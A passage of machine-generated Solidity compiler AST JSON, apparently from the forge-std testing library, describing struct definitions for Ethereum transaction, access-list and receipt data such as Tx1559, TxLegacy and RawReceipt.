peIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3535,"name":"bytes","nodeType":"ElementaryTypeName","src":"1200:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3538,"mutability":"mutable","name":"nonce","nameLocation":"1225:5:3","nodeType":"VariableDeclaration","scope":3545,"src":"1219:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3537,"name":"bytes","nodeType":"ElementaryTypeName","src":"1219:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3540,"mutability":"mutable","name":"to","nameLocation":"1248:2:3","nodeType":"VariableDeclaration","scope":3545,"src":"1240:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3539,"name":"address","nodeType":"ElementaryTypeName","src":"1240:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3542,"mutability":"mutable","name":"txType","nameLocation":"1266:6:3","nodeType":"VariableDeclaration","scope":3545,"src":"1260:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3541,"name":"bytes","nodeType":"ElementaryTypeName","src":"1260:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3544,"mutability":"mutable","name":"value","nameLocation":"1288:5:3","nodeType":"VariableDeclaration","scope":3545,"src":"1282:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3543,"name":"bytes","nodeType":"ElementaryTypeName","src":"1282:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"RawTx1559Detail","nameLocation":"1099:15:3","scope":5537,"visibility":"public"},{"id":3562,"nodeType":"StructDefinition","src":"1306:215:3","nodes":[],"canonicalName":"StdCheatsSafe.Tx1559","members":[{"constant":false,"id":3548,"mutability":"mutable","name":"arguments","nameLocation":"1339:9:3","nodeType":"VariableDeclaration","scope":3562,"src":"1330:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3546,"name":"string","nodeType":"ElementaryTypeName","src":"1330:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3547,"nodeType":"ArrayTypeName","src":"1330:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3550,"mutability":"mutable","name":"contractAddress","nameLocation":"1366:15:3","nodeType":"VariableDeclaration","scope":3562,"src":"1358:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3549,"name":"address","nodeType":"ElementaryTypeName","src":"1358:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3552,"mutability":"mutable","name":"contractName","nameLocation":"1398:12:3","nodeType":"VariableDeclaration","scope":3562,"src":"1391:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3551,"name":"string","nodeType":"ElementaryTypeName","src":"1391:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3554,"mutability":"mutable","name":"functionSig","nameLocation":"1427:11:3","nodeType":"VariableDeclaration","scope":3562,"src":"1420:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3553,"name":"string","nodeType":"ElementaryTypeName","src":"1420:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3556,"mutability":"mutable","name":"hash","nameLocation":"1456:4:3","nodeType":"VariableDeclaration","scope":3562,"src":"1448:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3555,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1448:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3559,"mutability":"mutable","name":"txDetail","nameLocation":"1483:8:3","nodeType":"VariableDeclaration","scope":3562,"src":"1470:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"},"typeName":{"id":3558,"nodeType":"UserDefinedTypeName","pathNode":{"id":3557,"name":"Tx1559Detail","nameLocations":["1470:12:3"],"nodeType":"IdentifierPath","referencedDeclaration":3581,"src":"1470:12:3"},"referencedDeclaration":3581,"src":"1470:12:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559Detail_$3581_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559Detail"}},"visibility":"internal"},{"constant":false,"id":3561,"mutability":"mutable","name":"opcode","nameLocation":"1508:6:3","nodeType":"VariableDeclaration","scope":3562,"src":"1501:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3560,"name":"string","nodeType":"ElementaryTypeName","src":"1501:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"name":"Tx1559","nameLocation":"1313:6:3","scope":5537,"visibility":"public"},{"id":3581,"nodeType":"StructDefinition","src":"1527:213:3","nodes":[],"canonicalName":"StdCheatsSafe.Tx1559Detail","members":[{"constant":false,"id":3566,"mutability":"mutable","name":"accessList","nameLocation":"1570:10:3","nodeType":"VariableDeclaration","scope":3581,"src":"1557:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"},"typeName":{"baseType":{"id":3564,"nodeType":"UserDefinedTypeName","pathNode":{"id":3563,"name":"AccessList","nameLocations":["1557:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3637,"src":"1557:10:3"},"referencedDeclaration":3637,"src":"1557:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_AccessList_$3637_storage_ptr","typeString":"struct StdCheatsSafe.AccessList"}},"id":3565,"nodeType":"ArrayTypeName","src":"1557:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"}},"visibility":"internal"},{"constant":false,"id":3568,"mutability":"mutable","name":"data","nameLocation":"1596:4:3","nodeType":"VariableDeclaration","scope":3581,"src":"1590:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3567,"name":"bytes","nodeType":"ElementaryTypeName","src":"1590:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3570,"mutability":"mutable","name":"from","nameLocation":"1618:4:3","nodeType":"VariableDeclaration","scope":3581,"src":"1610:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3569,"name":"address","nodeType":"ElementaryTypeName","src":"1610:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3572,"mutability":"mutable","name":"gas","nameLocation":"1640:3:3","nodeType":"VariableDeclaration","scope":3581,"src":"1632:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3571,"name":"uint256","nodeType":"ElementaryTypeName","src":"1632:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3574,"mutability":"mutable","name":"nonce","nameLocation":"1661:5:3","nodeType":"VariableDeclaration","scope":3581,"src":"1653:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3573,"name":"uint256","nodeType":"ElementaryTypeName","src":"1653:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3576,"mutability":"mutable","name":"to","nameLocation":"1684:2:3","nodeType":"VariableDeclaration","scope":3581,"src":"1676:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3575,"name":"address","nodeType":"ElementaryTypeName","src":"1676:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3578,"mutability":"mutable","name":"txType","nameLocation":"1704:6:3","nodeType":"VariableDeclaration","scope":3581,"src":"1696:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3577,"name":"uint256","nodeType":"ElementaryTypeName","src":"1696:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3580,"mutability":"mutable","name":"value","nameLocation":"1728:5:3","nodeType":"VariableDeclaration","scope":3581,"src":"1720:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3579,"name":"uint256","nodeType":"ElementaryTypeName","src":"1720:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"Tx1559Detail","nameLocation":"1534:12:3","scope":5537,"visibility":"public"},{"id":3598,"nodeType":"StructDefinition","src":"1991:221:3","nodes":[],"canonicalName":"StdCheatsSafe.TxLegacy","members":[{"constant":false,"id":3584,"mutability":"mutable","name":"arguments","nameLocation":"2026:9:3","nodeType":"VariableDeclaration","scope":3598,"src":"2017:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3582,"name":"string","nodeType":"ElementaryTypeName","src":"2017:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3583,"nodeType":"ArrayTypeName","src":"2017:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3586,"mutability":"mutable","name":"contractAddress","nameLocation":"2053:15:3","nodeType":"VariableDeclaration","scope":3598,"src":"2045:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3585,"name":"address","nodeType":"ElementaryTypeName","src":"2045:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3588,"mutability":"mutable","name":"contractName","nameLocation":"2085:12:3","nodeType":"VariableDeclaration","scope":3598,"src":"2078:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3587,"name":"string","nodeType":"ElementaryTypeName","src":"2078:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3590,"mutability":"mutable","name":"functionSig","nameLocation":"2114:11:3","nodeType":"VariableDeclaration","scope":3598,"src":"2107:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3589,"name":"string","nodeType":"ElementaryTypeName","src":"2107:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3592,"mutability":"mutable","name":"hash","nameLocation":"2142:4:3","nodeType":"VariableDeclaration","scope":3598,"src":"2135:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3591,"name":"string","nodeType":"ElementaryTypeName","src":"2135:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3594,"mutability":"mutable","name":"opcode","nameLocation":"2163:6:3","nodeType":"VariableDeclaration","scope":3598,"src":"2156:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3593,"name":"string","nodeType":"ElementaryTypeName","src":"2156:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3597,"mutability":"mutable","name":"transaction","nameLocation":"2194:11:3","nodeType":"VariableDeclaration","scope":3598,"src":"2179:26:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_TxDetailLegacy_$3631_storage_ptr","typeString":"struct StdCheatsSafe.TxDetailLegacy"},"typeName":{"id":3596,"nodeType":"UserDefinedTypeName","pathNode":{"id":3595,"name":"TxDetailLegacy","nameLocations":["2179:14:3"],"nodeType":"IdentifierPath","referencedDeclaration":3631,"src":"2179:14:3"},"referencedDeclaration":3631,"src":"2179:14:3","typeDescriptions":{"typeIdentifier":"t_struct$_TxDetailLegacy_$3631_storage_ptr","typeString":"struct StdCheatsSafe.TxDetailLegacy"}},"visibility":"internal"}],"name":"TxLegacy","nameLocation":"1998:8:3","scope":5537,"visibility":"public"},{"id":3631,"nodeType":"StructDefinition","src":"2218:366:3","nodes":[],"canonicalName":"StdCheatsSafe.TxDetailLegacy","members":[{"constant":false,"id":3602,"mutability":"mutable","name":"accessList","nameLocation":"2263:10:3","nodeType":"VariableDeclaration","scope":3631,"src":"2250:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"},"typeName":{"baseType":{"id":3600,"nodeType":"UserDefinedTypeName","pathNode":{"id":3599,"name":"AccessList","nameLocations":["2250:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3637,"src":"2250:10:3"},"referencedDeclaration":3637,"src":"2250:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_AccessList_$3637_storage_ptr","typeString":"struct StdCheatsSafe.AccessList"}},"id":3601,"nodeType":"ArrayTypeName","src":"2250:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"}},"visibility":"internal"},{"constant":false,"id":3604,"mutability":"mutable","name":"chainId","nameLocation":"2291:7:3","nodeType":"VariableDeclaration","scope":3631,"src":"2283:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3603,"name":"uint256","nodeType":"ElementaryTypeName","src":"2283:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3606,"mutability":"mutable","name":"data","nameLocation":"2314:4:3","nodeType":"VariableDeclaration","scope":3631,"src":"2308:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3605,"name":"bytes","nodeType":"ElementaryTypeName","src":"2308:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3608,"mutability":"mutable","name":"from","nameLocation":"2336:4:3","nodeType":"VariableDeclaration","scope":3631,"src":"2328:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3607,"name":"address","nodeType":"ElementaryTypeName","src":"2328:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3610,"mutability":"mutable","name":"gas","nameLocation":"2358:3:3","nodeType":"VariableDeclaration","scope":3631,"src":"2350:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3609,"name":"uint256","nodeType":"ElementaryTypeName","src":"2350:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3612,"mutability":"mutable","name":"gasPrice","nameLocation":"2379:8:3","nodeType":"VariableDeclaration","scope":3631,"src":"2371:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3611,"name":"uint256","nodeType":"ElementaryTypeName","src":"2371:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3614,"mutability":"mutable","name":"hash","nameLocation":"2405:4:3","nodeType":"VariableDeclaration","scope":3631,"src":"2397:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3613,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2397:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3616,"mutability":"mutable","name":"nonce","nameLocation":"2427:5:3","nodeType":"VariableDeclaration","scope":3631,"src":"2419:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3615,"name":"uint256","nodeType":"ElementaryTypeName","src":"2419:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3618,"mutability":"mutable","name":"opcode","nameLocation":"2449:6:3","nodeType":"VariableDeclaration","scope":3631,"src":"2442:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"},"typeName":{"id":3617,"name":"bytes1","nodeType":"ElementaryTypeName","src":"2442:6:3","typeDescriptions":{"typeIdentifier":"t_bytes1","typeString":"bytes1"}},"visibility":"internal"},{"constant":false,"id":3620,"mutability":"mutable","name":"r","nameLocation":"2473:1:3","nodeType":"VariableDeclaration","scope":3631,"src":"2465:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3619,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2465:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3622,"mutability":"mutable","name":"s","nameLocation":"2492:1:3","nodeType":"VariableDeclaration","scope":3631,"src":"2484:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3621,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2484:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3624,"mutability":"mutable","name":"txType","nameLocation":"2511:6:3","nodeType":"VariableDeclaration","scope":3631,"src":"2503:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3623,"name":"uint256","nodeType":"ElementaryTypeName","src":"2503:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3626,"mutability":"mutable","name":"to","nameLocation":"2535:2:3","nodeType":"VariableDeclaration","scope":3631,"src":"2527:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3625,"name":"address","nodeType":"ElementaryTypeName","src":"2527:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3628,"mutability":"mutable","name":"v","nameLocation":"2553:1:3","nodeType":"VariableDeclaration","scope":3631,"src":"2547:7:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":3627,"name":"uint8","nodeType":"ElementaryTypeName","src":"2547:5:3","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"},{"constant":false,"id":3630,"mutability":"mutable","name":"value","nameLocation":"2572:5:3","nodeType":"VariableDeclaration","scope":3631,"src":"2564:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3629,"name":"uint256","nodeType":"ElementaryTypeName","src":"2564:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"TxDetailLegacy","nameLocation":"2225:14:3","scope":5537,"visibility":"public"},{"id":3637,"nodeType":"StructDefinition","src":"2590:87:3","nodes":[],"canonicalName":"StdCheatsSafe.AccessList","members":[{"constant":false,"id":3633,"mutability":"mutable","name":"accessAddress","nameLocation":"2626:13:3","nodeType":"VariableDeclaration","scope":3637,"src":"2618:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3632,"name":"address","nodeType":"ElementaryTypeName","src":"2618:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3636,"mutability":"mutable","name":"storageKeys","nameLocation":"2659:11:3","nodeType":"VariableDeclaration","scope":3637,"src":"2649:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":3634,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2649:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":3635,"nodeType":"ArrayTypeName","src":"2649:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"name":"AccessList","nameLocation":"2597:10:3","scope":5537,"visibility":"public"},{"id":3666,"nodeType":"StructDefinition","src":"2893:385:3","nodes":[],"canonicalName":"StdCheatsSafe.RawReceipt","members":[{"constant":false,"id":3639,"mutability":"mutable","name":"blockHash","nameLocation":"2929:9:3","nodeType":"VariableDeclaration","scope":3666,"src":"2921:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3638,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2921:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3641,"mutability":"mutable","name":"blockNumber","nameLocation":"2954:11:3","nodeType":"VariableDeclaration","scope":3666,"src":"2948:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3640,"name":"bytes","nodeType":"ElementaryTypeName","src":"2948:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3643,"mutability":"mutable","name":"contractAddress","nameLocation":"2983:15:3","nodeType":"VariableDeclaration","scope":3666,"src":"2975:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3642,"name":"address","nodeType":"ElementaryTypeName","src":"2975:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3645,"mutability":"mutable","name":"cumulativeGasUsed","nameLocation":"3014:17:3","nodeType":"VariableDeclaration","scope":3666,"src":"3008:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3644,"name":"bytes","nodeType":"ElementaryTypeName","src":"3008:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3647,"mutability":"mutable","name":"effectiveGasPrice","nameLocation":"3047:17:3","nodeType":"VariableDeclaration","scope":3666,"src":"3041:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3646,"name":"bytes","nodeType":"ElementaryTypeName","src":"3041:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3649,"mutability":"mutable","name":"from","nameLocation":"3082:4:3","nodeType":"VariableDeclaration","scope":3666,"src":"3074:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3648,"name":"address","nodeType":"ElementaryTypeName","src":"3074:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3651,"mutability":"mutable","name":"gasUsed","nameLocation":"3102:7:3","nodeType":"VariableDeclaration","scope":3666,"src":"3096:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3650,"name":"bytes","nodeType":"ElementaryTypeName","src":"3096:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3655,"mutability":"mutable","name":"logs","nameLocation":"3135:4:3","nodeType":"VariableDeclaration","scope":3666,"src":"3119:20:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog[]"},"typeName":{"baseType":{"id":3653,"nodeType":"UserDefinedTypeName","pathNode":{"id":3652,"name":"RawReceiptLog","nameLocations":["3119:13:3"],"nodeType":"IdentifierPath","referencedDeclaration":3763,"src":"3119:13:3"},"referencedDeclaration":3763,"src":"3119:13:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_storage_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog"}},"id":3654,"nodeType":"ArrayTypeName","src":"3119:15:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog[]"}},"visibility":"internal"},{"constant":false,"id":3657,"mutability":"mutable","name":"logsBloom","nameLocation":"3155:9:3","nodeType":"VariableDeclaration","scope":3666,"src":"3149:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3656,"name":"bytes","nodeType":"ElementaryTypeName","src":"3149:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3659,"mutability":"mutable","name":"status","nameLocation":"3180:6:3","nodeType":"VariableDeclaration","scope":3666,"src":"3174:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3658,"name":"bytes","nodeType":"ElementaryTypeName","src":"3174:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3661,"mutability":"mutable","name":"to","nameLocation":"3204:2:3","nodeType":"VariableDeclaration","scope":3666,"src":"3196:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3660,"name":"address","nodeType":"ElementaryTypeName","src":"3196:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3663,"mutability":"mutable","name":"transactionHash","nameLocation":"3224:15:3","nodeType":"VariableDeclaration","scope":3666,"src":"3216:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3662,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3216:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3665,"mutability":"mutable","name":"transactionIndex","nameLocation":"3255:16:3","nodeType":"VariableDeclaration","scope":3666,"src":"3249:22:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3664,"name":"bytes","nodeType":"ElementaryTypeName","src":"3249:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"RawReceipt","nameLocation":"2900:10:3","scope":5537,"visibility":"public"},{"id":3695,"nodeType":"StructDefinition","src":"3284:391: